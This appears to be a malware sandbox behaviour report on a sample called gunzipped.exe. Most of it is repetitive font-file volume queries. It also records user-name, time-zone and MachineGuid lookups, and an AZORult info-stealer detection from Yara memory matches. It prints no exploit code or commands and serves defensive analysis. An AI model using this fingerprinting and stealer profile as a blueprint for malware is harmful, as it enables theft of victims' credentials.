Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\gunzipped.exe

Code function: 3_2_004065F0 GetUserNameW,

3_2_004065F0

Source: C:\Users\user\Desktop\gunzipped.exe

Code function: 3_2_00416794 GetTimeZoneInformation,

3_2_00416794

Source: C:\Users\user\Desktop\gunzipped.exe

Code function: 3_2_00404C71 GetCommandLineA,GetVersion,GetVersion,GetThreadLocale,GetThreadLocale,GetCurrentThreadId,

3_2_00404C71

Source: C:\Users\user\Desktop\gunzipped.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Detected AZORult Info Stealer

Show sources

Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_004186C4		3_2_004186C4
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_004186C4		3_2_004186C4

Yara detected Azorult

Show sources

Source: Yara match	File source: 00000003.00000003.283052268.00000000033A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.279779219.00000000033C4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.263485102.000000000C3B1000.00000004.00000001.sdmp, type: MEMORY
